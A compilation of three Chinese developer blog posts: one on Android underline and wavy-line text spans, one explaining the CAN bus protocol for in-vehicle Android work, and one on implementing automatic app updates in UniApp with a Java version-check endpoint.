如果你需要设置下划线的颜色和粗细,则需要自定义 UnderlineSpan
,代码示例如下:
class CustomUnderLine(val color: Int, val underlineThickness: Float): UnderlineSpan() {
@RequiresApi(Build.VERSION_CODES.Q)
override fun updateDrawState(ds: TextPaint) {
ds.underlineColor = color // 下划线的颜色
ds.underlineThickness = underlineThickness // 下划线的粗细
super.updateDrawState(ds)
}
}
效果如下所示:
但是对于绘制波浪线,Android 没有没有提供直接的接口来实现。这时我们可以通过 LineBackgroundSpan
来间接实现波浪线的效果。
class Standard implements LineBackgroundSpan, ParcelableSpan {
// 存储背景颜色的变量
private final int mColor;
// 构造方法,接受一个颜色整数值作为参数,用于定义背景颜色
public Standard(@ColorInt int color) {
mColor = color;
}
// 从包裹中创建 LineBackgroundSpan.Standard 对象的构造方法
public Standard(@NonNull Parcel src) {
mColor = src.readInt();
}
@Override
public int getSpanTypeId() {
return getSpanTypeIdInternal();
}
/** @hide */
@Override
public int getSpanTypeIdInternal() {
return TextUtils.LINE_BACKGROUND_SPAN;
}
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(@NonNull Parcel dest, int flags) {
writeToParcelInternal(dest, flags);
}
/** @hide */
@Override
public void writeToParcelInternal(@NonNull Parcel dest, int flags) {
dest.writeInt(mColor);
}
/**
* 获取该 span 的颜色
* @return 颜色整数值
*/
@ColorInt
public final int getColor() {
return mColor;
}
// 绘制背景的方法,在画布上绘制指定颜色的矩形作为行背景
// left:该行相对于输入画布的左边界位置,以像素为单位。
// right:该行相对于输入画布的右边界位置,以像素为单位。
// top:该行相对于输入画布的上边界位置,以像素为单位。
// baseline:该行文本的基线相对于输入画布的位置,以像素为单位。
// bottom:该行相对于输入画布的下边界位置,以像素为单位。
// text:当前的文本内容。
// start:该行文本在整个文本中的起始字符索引。
// end:该行文本在整个文本中的结束字符索引。
// lineNumber:在当前文本布局中的行号。
@Override
public void drawBackground(@NonNull Canvas canvas, @NonNull Paint paint,
@Px int left, @Px int right,
@Px int top, @Px int baseline, @Px int bottom,
@NonNull CharSequence text,
int start,
int end,
int lineNumber) {
final int originColor = paint.getColor();
paint.setColor(mColor);
canvas.drawRect(left, top, right, bottom, paint);
paint.setColor(originColor);
}
}
如上的源码所示,LineBackgroundSpan
主要用于改变文本中的行的背景。LineBackgroundSpan
有一个实现LineBackgroundSpan.Standard
,作用和 BackgroundColorSpan
都是改变文本的背景颜色,区别是LineBackgroundSpan
主要是用于改变文本中某一行或者某几行的背景。它在绘制背景时,考虑的是行的位置信息,如行的左右边界(left
和right
)、顶部和底部位置(top
和bottom
)。简单说就是 LineBackgroundSpan
提供了更多行的信息,方便我们做更细致的处理。
代码示例如下:
class WaveLineBackgroundSpan(val waveColor: Int) : LineBackgroundSpan {
// 创建画笔用于绘制波浪线,初始化时设置颜色、样式和线宽
val wavePaint = Paint().apply {
color = waveColor
style = Paint.Style.STROKE
strokeWidth = 6f
}
override fun drawBackground(
canvas: Canvas, paint: Paint,
@Px left: Int, @Px right: Int,
@Px top: Int, @Px baseline: Int, @Px bottom: Int,
text: CharSequence, start: Int, end: Int,
lineNumber: Int
) {
// 定义波浪线的振幅和波长,振幅决定波浪的高度,波长决定波浪的周期
val amplitude = 5
val wavelength = 15
// 获取要绘制波浪线的文本宽度
val width = paint.measureText(text.subSequence(start, end).toString()).toInt()
// 遍历文本宽度范围内的每个点,计算并绘制波浪线上的点
for (x in left until (left + width)) {
// 根据正弦函数计算每个点的 y 坐标,实现波浪效果
val y = (amplitude * Math.sin((x.toFloat() / wavelength).toDouble())).toInt()
// 在画布上绘制波浪线上的点,确保 x 坐标不超过右边界
canvas.drawPoint(x.toFloat().coerceAtMost(right.toFloat()), (bottom + y).toFloat(), wavePaint)
}
}
}
效果如下图所示:
参考
来源:juejin.cn/post/7429738006230630434
车载Android开发的秘密--搞懂CAN通信
全文五千字,码字不易求个赞赞
我以前写了一篇搞懂串口通信,一经发出,就获得好多人观看收藏和点赞。最近工作用到了CAN通信,我就把CAN通信总结一下。
学习CAN通信之前,我在搜索学习资料的时候,大部分都介绍CAN的历史,等等,什么车载应用估计是培训机构的文章,读完感觉没啥用。写代码和硬件沟通还是无从下手。我先讲通信原理,再讲协议。
1、CAN简介
CAN总线(Controller Area Network Bus)控制器局域网总线
CAN总线是构建的一种局域网网络。每个挂载在CAN总线的设备,都可以利用这个局域网去发送自己的消息,也可以接收局域网的各种消息。每个设备都是平等的,都在共享这个局域网的通信资源。这个就是CAN总线的设计理念。
CAN总线是由BOSCH公司开发的一种简介易用,传输速度快,易扩展,可靠性高的串行通信总线,广泛应用于汽车,嵌入式,工业控制等领域。CAN开始之初是为了汽车领域而研究的,对其可靠性和稳定性要求都是非常高的。
CAN总线特征
- 两根通信线(CAN_Hight,CAN_Low)线路少无需共地只需两根线
- 差分信号通信,差分信号的特点。抗干扰能力强。线路如果产生干扰,一般两根线都会受到干扰。但是两根线的电压差值是不变的。所以差分信号会极大的避免干扰
- 高速CAN(ISO11898):125K-1Mbps <40m
- 低速CAN(ISO11519):10k-125kbps <1km
- 异步,无需时钟线,通信速率由设备各自约定
- 半双工,可挂载多设备,多设备同时发送数据时,通过仲裁决定发送顺序
- 11位(标准格式)/29位报文ID(扩展格式),用于区分消息功能,同时决定优先级
- 可配置1-8字节的有效载荷
- 可实现广播式和请求式两种传输方式
- 应答、CRC校验、位填充,位同步,错误处理等特性。体现了严谨和安全
废话说完,进入正题
2、CAN通信原理
在计算机领域中,我们任何数据通信其实传输的是0和1的信号,无论是串口,还是网线TCP,其底层都是传输的0和1的信号。
那在CAN中是怎么传递这些信号的呢。
2.1、CAN物理接线
- 每个设备通过CAN收发器挂载在CAN总线网络上
- CAN控制器引出TX和RX与CAN收发器相连,CAN收发器引出CAN_H和CANL分别与总线CAN_H和CAN_LOW相连
- 高速CAN使用闭环网络,CAN_H和CAN_L两端添加120Ω的终端电阻
- 低速CAN使用开环网络,CAN_H和CAN_L其中一端添加2.2kΩ的终端电阻
CAN收发器:他是个什么东西呢,是个芯片,主要实现电平转换,输出驱动和输入采样几个功能。也就是用来采集和输出电平信号的。
CAN控制器:这个就是我们Android程序员需要操作的东西了,因为信号要转成可视化的数据才行,转成byte数组,数组转成字符串啊,数字我们来显示。然后我们要发送的消息,也可能是数字,字符串之类的。我们需要把我们的指令传给收发器,收发器再转成电平信号,传给其他设备。
高速CAN总线,没有设备进行通讯的时候,终端电阻会收紧,终端电阻就像一根弹簧一样,收紧状态会使,CAN_H和CAN_L的电压相同,其差值是0,代表1信号,如果CAN设备想发送信号1,终端电阻就会张开,使其两边的电压差增大,表示其0状态。如果CAN设备想发送1时,无需对总线进行任何操作,CAN总线默认就是收紧状态就是1。
低速CAN的原理,有兴趣的同学可以去自行搜索资料学习一下。我们这里就不做介绍了。只要知道有这玩意就可以了。
2.2、 CAN电平标准
CAN总线采用差分信号,即两线电压差(Vcan_h -Vcan_l)传输数据位
高速CAN规定
- 电压差为0V时,表示逻辑1(隐形电平)
- 电压差为2V时,表示逻辑0(显性电平)
显示电平,隐形电平表示的线路实际状态,因为总线默认状态时收紧状态,不需要设备干预,所以收紧状态为隐形电平,而张开状态需要设备干预,所以定义为显性电平。
在与逻辑电路的对应上,电路约定俗成的习惯,默认状态为高电平1 ,所以默认的隐形电平就和逻辑1绑定了,显性电平就和0绑定了,显性电平和隐形电平同时出现时,总线会表现出显性电平状态,这样能对应电路中 0 强于1 的规定。
我们分析帧时序时,用逻辑电平。
2.3、收发器原理
收发器的工作原理,有点复杂,而且还需要对电路有一定了解,感觉有点复杂。我们就不介绍了,有兴趣的同学可以自行学习。
CAN收发器 TJA1050(高速CAN)
2.4、CAN物理层特性
2.5、CAN通讯思路总结
其通讯思路,CAN总线好比一个大灯, CAN设备分别是小明,小红,和小华, 这三个人时刻关注灯的状态。小明想发送1101,他就会在四个时序分别 灭灯,灭灯,量灯,灭灯。小红和小华会根据灯的状态解析出来1101。我觉得这样比较容易理解。至于他们都想发消息怎么办,谁先发谁后发,这就到了我们通讯协议环节
3、CAN总线帧格式
帧格式规定了通讯协议,就是规定传输的0和1代表什么意思。
帧类型 | 用途 |
---|---|
数据帧 | 发送设备主动发送数据 (广播式) |
遥控帧 | 接收设备主动请求数据 (请求式) |
错误帧 | 某个设备检测出错误时向其他设备通知错误 |
过载帧 | 接收设备通知其尚未做好接收准备 |
帧间隔 | 用于将数据帧及遥控帧与前面的帧分离开 |
3.1 数据帧
我们先看一下图例 D Dominat 显性电平, R Recessive 隐性电平
灰色部分D只能发送显性电平0,紫色部分D/R 可以发送显示电平或者隐性电平,白色部分代表R只能发送隐性电平。
ACK位槽 这个时应答位特有的,发送方必须发隐形电平,接收方发显示电平
图里边的数字,代表此段时序所占的位数,比如1位,11位,18位。
然后我们分析一下标准数据帧。
3.1.1 SOF(帧起始)
我们发送数据帧之前,总线必须处在空闲状态,空闲状态总线时隐性电平1,随后数据帧开始,SOF(帧起始)灰色部分,显示电平0,帧起始的作用是打破宁静。因为空闲时隐性1,所有设备都不去碰总线,你想要发送数据,第一位必须张开总线,发送显性0,如果你发送隐性1,那就会与前边的隐性状态融为一体。没人知道你开始发数据了。还有一个作用是告诉接收方,如果后边我再释放总线,总线不是空闲状态,而是我发送的就是1
3.1.2 Identifier(ID)报文ID
帧起始后边就是报文ID,标准格式是11位,
报文ID的功能,可以表示后边数据段的功能,因为总线上各种报文信息都有,如果不以ID加以区分,消息就会混乱,不知道哪个是那个了。
报文ID的第二个功能,就是用来区分优先级,当多个设备同时发送时,根据仲裁规则,ID小的报文优先发送。ID大的报文等待下一次总线空闲再重试发送。
不同功能的数据帧,其ID都不同,否则两个设备同时发相同ID的数据帧,仲裁规则就无法谁先谁后发送了。
3.1.3 RTR (远程请求标志位)
用来区分遥控帧和数据帧的标志位,数据帧必须为显性0,遥控帧必须为隐性1,我们分析的数据帧,所以这一位必须是0
Identifier 和 RTR,这两段加起来叫做仲裁段,我们主要是靠ID仲裁,为啥把RTR加进来呢?是因为遥控帧和数据帧的ID是可以相同的,然后相同ID的数据帧和遥控帧,数据帧优先发送。
3.1.4 IDE (ID扩展标志位)
这一位是ID扩展标志位,作用用来区分这个数据帧是标准帧,还是扩展帧。标准格式,位固定显性电平0,扩展格式为隐性电平1,
3.1.5 r0(保留位)目前没有用到
3.1.6 DLC 数据段的长度,数据段的字节数
3.1.7 Data 数据段,数据段长度占的位数,要是8的倍数,也可以是0
3.1.8 CRC Sequence CRC校验校验符 占15位
它会对前边所有的数据位进行CRC算法计算,从SOF到Data 这些所有数据位计算得到一个校验码,放到里面,接收方接收到校验码之后,也会调用CRC算法计算,看校验码是否一致。以判断传输是否有误
3.1.9 CRC界定符 必须为隐性电平1
3.1.10 ACK槽
发送方可以根据ACK槽,知道数据是否被接收,可以用来做重发机制。
发送方会在这一位释放总线,然后会读这一位,如果这一位被拉高,置为显性0,说明数据被接收了,发送方就可以安心了。
如果发送方回读还是隐性1,那么就可以安排重发,或者不用管。
3.1.11 ACK界定符
他的作用是接收方接到消息后ACK拉高之后,要交出控制权。所以要用一个界定符,让接收方发送隐性1.
3.1.12EOF 帧结束,七个隐性1 代表帧结束
这个数据段波形,是接收方和发送方一起完成的,就是帧起始开始,接收方已经开始接收了,并不是,发送方发完这一帧,接收方才开始接收的。 理解这一句话,上边的才好理解。
3.1.13 扩展帧
扩展帧出现的原因,就是标准格式的ID不够用了,需要加一些,而且扩展格式,也要考虑必须对标准格式的兼容。
我们分析完标准帧,扩展帧就相对于来说,更容易了。
扩展帧的RTR挪到了扩展ID后边,原来的RTR 变为了SRR,现在也没有作用, 必须搞成隐性1,然后后边就是IDE,扩展帧标志位,如果是显性0,则后续按照标准帧格式进行解析,如果是隐性1,按扩展帧解析,再往后就是18位扩展id。扩展格式rtr 后边的 r1,和r0 是保留位必须显性0,后面的格式就是和标准数据帧一样了。
3.2 遥控帧
遥控帧无数据段,RTR位隐性电平1,其他部分与数据帧相同。
用于数据不是频繁更新的场景,和数据帧搭配使用。
3.3 错误帧
总线上所有设备多会监督总线的数据,一旦发现位错误或者填充错误或CRC错误或格式错误,或者应答错误,这些设备便会发出错误帧来破坏数据,同时终止当前的发送设备
3.4 过载帧
当接收方收到大量数据无法处理时,其可以发出过载帧,延缓发送方的数据发送,以平衡总线负载,避免数据丢失
3.5 帧间隔
将数据帧与远程帧与前面的帧分离开
错误帧,过载帧 和帧间隔。在设计的时候是非常复杂的,建议初学者了解就可以。我们学会收发数据即可。
4、位填充
位填充规则:发送方每发送五个相同电平后,自动追加一个相反电平的填充位,
接收方检测到填充位时,会自动移除填充位,恢复原始数据
如果位填充之后,和后边的四位相同,则会再填充一位。填充位与后边的数据位合并,之后再用填充规则进行位填充。
位填充作用:
- 增加波形的定时信息,利于接收方执行再同步,防止波形长时间无变化,导致接收方不能精确掌握数据采样时机。如果长时间相同的电平,时钟稍有偏差,就会接收出错。
- 将正常数据流与错误帧和过载帧区分开,标志错误帧和过载帧的特异性。(都有连续六位相同的电平)
- 保持CAN总线在发送正常数据流时的活跃状态,防止被误认为总线空闲(如果你要发送的数据是一大串1)
5、接收方数据采样
- CAN总线没有时钟线,总线上的所有设备通过约定波特率的方式确定每一个数据位的时长
- 发送方以约定的位时长,每 隔固定时间输出一个数据位
- 接收方以约定的位时长每隔固定时间采样总线的电平,输入一个数据位
- 理想状态下,接收方能依次采样到发送方发出的每个数据位,且采样点位于数据位中心附近
上面是理想状态啊,实际操作肯定会遇到问题的。
接收方数据采样遇到的问题
接收方以约定的位时长进行采样,但是采样点没有对齐数据位中心附近
这里就涉及到数据同步问题,如何让采样点对齐数据位中心呢? 如果在跳变沿采样,这个数据是1还是0,有点说不清了,所以上图采的数据是有问题的,如果没对齐,我们参考第一个跳变沿,采样时间往后延半个数据位的时间,然后后边的再用数据位时间间隔进行采样,这样就对齐了。这就涉及到硬同步了。
接收方刚开始采样正确,但是时钟有误差,随着误差累积,采样点逐渐偏离。
这个问题,如果采样时间过慢,我们可以在偏差不是很大的时候,减少一次采样间隔时间,这样对于后边所有的采样时间,就会往前提一点。如果过快,相反,我们增加一次采样间隔时间,后边所有采样的时间都会往后移一点。这就是用到了再同步的概念
通过这两个问题,我们也知道了位填充的重要性,如果波形长时间,不变,我们就无法进行同步,采集的数据就会有问题。
我们了解个大概就可以了,如果你想做硬件,可以继续再研究一下,硬同步和再同步。
6、 仲裁规则
CAN总线只有一对差分信号线,同一时间只能有一个设备操作总线发送数据,若多个设备有同时发送数据的需求,该如何分配总线资源?
思路: 指定资源分配规则,一次满足多个设备的发送需求,确保同一时间只有一个设备操作总线。
规则一 先占先得
先占先得,如果设备一已经开始发送了,发送的途中,第二个设备想发送数据,禁止发送。
- 若当前已经有设备正在操作总线发送数据帧/遥控帧,则其他任何设备不能再同时发送数据帧/遥控帧(可以发送错误帧/过载帧,破坏当前数据)
- 任何设备检测到连续11个隐性电平,即认为总线空闲,只有在总线空闲时,设备才能发送数据帧
- 一旦有设备正在发送数据帧/遥控帧,进行了位填充总线就会变为活跃状态,必然不会出现连续11个隐性电平,其他设备自然也不会破坏当前发送。
- 若总线活跃状态其他设备有发送需求,则需要等待总线变为空闲,才能执行发送需求。
但是如果,在开始的时候,两个设备都想发送数据呢。都没开始呢?
规则二 非破坏性仲裁
- 若多个设备的发送需求同时到来或因等待而同时到来,则CAN总线协议会根据ID号(仲裁段 )进行非破坏性仲裁,ID号小的(优先级高)取到总线控制权,ID号大的(优先级低)仲裁失利后将转入接收状态,等待下一次总线空闲时再尝试发送。
- 实现非破坏性仲裁需要两个要求
- 线与特性,总线上任何设备发送显性电平0时,总线就会呈现显性电平0状态,只有当前所有设备都发送隐性电平1时,总线才呈现隐性电平1状态。即: 0&X&X =0,1&1&1=1(X代表可以是0可以是1)
- 回读机制:每个设备发出一个数据位后,都会读回总线当前的电平状态,已确认自己发出的电平是否被真实的发送出去了,根据线与特性,发出0读回必然是0,发出1,读回不一定是1(ACK槽)
仲裁过程
数据位从前到后依次比较,出现差异且数据位为1的设备仲裁失利。
单元1和单元2是两个设备,他们都可以回读总线电平。前边的数据位是想通的,所以回读的数据也是相同的,所以会继续发送,当走到红色部分时,单元一发送隐性1,但是单元二发送的事显性0,总线电平这时时显性0,单元二回读和自己发送一样,单元一回读和自己发送有差别,感知到总线有其他设备抢占资源,仲裁失利,下一位起变为接收状态。
id号越小,其二进制,出现1就会越晚,也就越晚退出仲裁。完美解释了id号小优先级高的问题。
位填充不会影响仲裁优先级。你找不到两个ID A和B,没有填充A比B优先级高,填充了B比A高,找不到,根本找不到。
从仲裁的过程,我们可以看出,仲裁的最后的胜利者,它所有的回读,和自己发送的数据是一样的。原有的数据都没发生改变所以它叫非破坏性仲裁。
数据帧和遥控帧的优先级,先按id号仲裁,如果id号一致,再走RTR位仲裁。
标准帧的id号,不允许出现一样的,遥控帧的id号也不能出现一样的。如果一样的话,他们的仲裁段完全相同。到后边数据会被破坏的。
扩展帧和数据帧的优先级
标准格式11位ID号和扩展格式的29位ID号的高11位一样时,标准格式的优先级,高于扩展帧(SRR必须始终为1,以保证此要求)
还有一种极端情况,就是标准遥控帧的id号和扩展帧的高11位相同时,怎么仲裁的呢。
到这里标准遥控帧的仲裁端已经结束了,扩展帧的SRR 是0,标准遥控帧的RTR 也是0,但是,扩展帧的仲裁段还没有结束,SRR 后边是IDE 因为是扩展帧所有它的idE 是1,标准帧的ide是0,扩展帧就会出现发1读0的情况,仲裁失利,退出竞争。
7、错误处理
- 主动错误状态的设备正常参与通信并在检测到错误是发出主动错误帧
- 被动错误状态的设备正常参与通信,但检测的错误时,只能发出被动错误帧,不会破坏别人发送的数据。
- 总线关闭状态的设备不能参与通信
- 每个设备内部管理一个TEC和REC,更具TEC和REC的值确定自己的状态
TEC和REC是计数器,TEC发送错误计数一次,正确发送减少一次,REC接收错误计数一次,正确接收减少一次。
8、总结
我们从CAN的物理接线,开始介绍,介绍了协议的主要内容,也介绍了协议对特殊情况的处理。消息仲裁,和错误处理。相信大家可以正常的跟硬件工程师交流了。至于Android代码实现,这篇有点太长了,会再写个文章发出。多多见谅。
来源:juejin.cn/post/7433076509574905908
UNIAPP实现APP自动更新
整体思路和API使用
工作流程
- App 启动时检查更新
- 发现新版本时显示更新提示
- 如果是强制更新,用户必须更新
- 下载完成后自动安装
API
getVersion
:自己服务器API,返回版本号、下载地址等信息plus.runtime.getProperty
:获取APP当前版本号uni.downloadFile
:下载文件plus.runtime.install
:安装软件downloadTask.onProgressUpdate
:监听下载进度
具体实现
后端getVersion
API代码
// Version.java
@Data
public class Version {
private String version; // 版本号
private String downloadUrl; // 下载地址
private String description; // 更新说明
private boolean forceUpdate; // 是否强制更新
}
// VersionController.java
@RestController
@RequestMapping("/api/version")
public class VersionController {
@GetMapping("/check")
public Result checkVersion(@RequestParam String currentVersion) {
Version version = new Version();
version.setVersion("1.1.7"); // 最新版本号
version.setDownloadUrl("软件下载地址"); // 下载地址
version.setDescription("1. 修复已知问题\n2. 新增功能");
version.setForceUpdate(true); // 是否强制更新
// 比较版本号
if (compareVersion(currentVersion, version.getVersion()) < 0) {
return Result.success(version);
}
return Result.success(null);
}
// 版本号比较方法
private int compareVersion(String v1, String v2) {
String[] version1 = v1.split("\\.");
String[] version2 = v2.split("\\.");
int i = 0;
while (i < version1.length && i < version2.length) {
int num1 = Integer.parseInt(version1[i]);
int num2 = Integer.parseInt(version2[i]);
if (num1 < num2) return -1;
else if (num1 > num2) return 1;
i++;
}
if (version1.length < version2.length) return -1;
if (version1.length > version2.length) return 1;
return 0;
}
}
其中Version
类可以写到数据库中获取
前端update.js封装
// 版本更新工具类 - 使用单例模式确保全局只有一个更新实例
import {
check
} from "../api/util/util";
class AppUpdate {
constructor() {
// 当前应用版本号
this.currentVersion = '';
// 服务器返回的更新信息
this.updateInfo = null;
}
// 检查更新方法
checkUpdate() {
//仅在app环境下运行
// #ifdef APP-PLUS
plus.runtime.getProperty(plus.runtime.appid, (widgetInfo) => {
this.currentVersion = widgetInfo.version;
console.log('当前版本:' + this.currentVersion);
check(this.currentVersion).then(res => {
if (res.data.data) {
this.updateInfo = res.data.data;
this.showUpdateDialog();
}
})
.catch(err => {
console.log(err);
});
});
// #endif
}
showUpdateDialog() {
uni.showModal({
title: '发现新版本',
content: this.updateInfo.description,
confirmText: '立即更新',
cancelText: '稍后再说',
showCancel: !this.updateInfo.forceUpdate, // 强制更新时禁止取消
success: (res) => {
if (res.confirm) {
this.downloadApp();
} else if (this.updateInfo.forceUpdate) {
plus.runtime.quit();
}
}
});
}
downloadApp() {
/* uni.showLoading({
title: '下载中...',
mask: true // 添加遮罩防止重复点击
}); */
// 先打印下载地址,检查 URL 是否正确
console.log('下载地址:', this.updateInfo.downloadUrl);
let showLoading=plus.nativeUI.showWaiting('正在下载');
const downloadTask = uni.downloadFile({
url: this.updateInfo.downloadUrl,
success: (res) => {
console.log('下载结果:', res); // 添加日志
if (res.statusCode === 200) {
console.log('开始安装:', res.tempFilePath); // 添加日志
plus.runtime.install(
res.tempFilePath, {
force: false
},
() => {
console.log('安装成功'); // 添加日志
plus.nativeUI.closeWaiting();
plus.runtime.restart();
},
(error) => {
console.error('安装失败:', error); // 添加错误日志
plus.nativeUI.closeWaiting();
uni.showToast({
title: '安装失败: ' + error.message,
icon: 'none',
duration: 2000
});
}
);
} else {
console.error('下载状态码异常:', res.statusCode); // 添加错误日志
plus.nativeUI.closeWaiting();
uni.showToast({
title: '下载失败: ' + res.statusCode,
icon: 'none',
duration: 2000
});
}
},
fail: (err) => {
console.error('下载失败:', err); // 添加错误日志
plus.nativeUI.closeWaiting();
uni.showToast({
title: '下载失败: ' + err.errMsg,
icon: 'none',
duration: 2000
});
}
});
//监听下载进度
downloadTask.onProgressUpdate((res) => {
console.log('下载进度:', res.progress); // 添加进度日志
if (res.progress > 0) { // 只在有实际进度时更新提示
showLoading.setTitle('正在下载'+res.progress+'%');
}
});
}
}
//单例模式实现
let instance = null;
export default {
getInstance() {
if (!instance) {
instance = new AppUpdate();
}
return instance;
}
}
注意:如果直接使用uni.showLoading
来显示下载进度,会造成闪烁效果,所以这里用let showLoading=plus.nativeUI.showWaiting('正在下载');
引用js
以app.vue为例,在启动时触发检查更新
import AppUpdate from '@/utils/update.js';
export default {
onLaunch: function() {
// #ifdef APP-PLUS
AppUpdate.getInstance().checkUpdate();
// #endif
}
}
在 manifest.json 中配置权限
{
"app-plus": {
"distribute": {
"android": {
"permissions": [
"<uses-permission android:name=\"android.permission.INSTALL_PACKAGES\"/>",
"<uses-permission android:name=\"android.permission.REQUEST_INSTALL_PACKAGES\"/>"
]
}
}
}
}
这样封装的优点
- 代码更加模块化
- 可以在任何地方调用
- 使用单例模式避免重复创建
- 更容易维护和扩展
来源:juejin.cn/post/7457206505021341730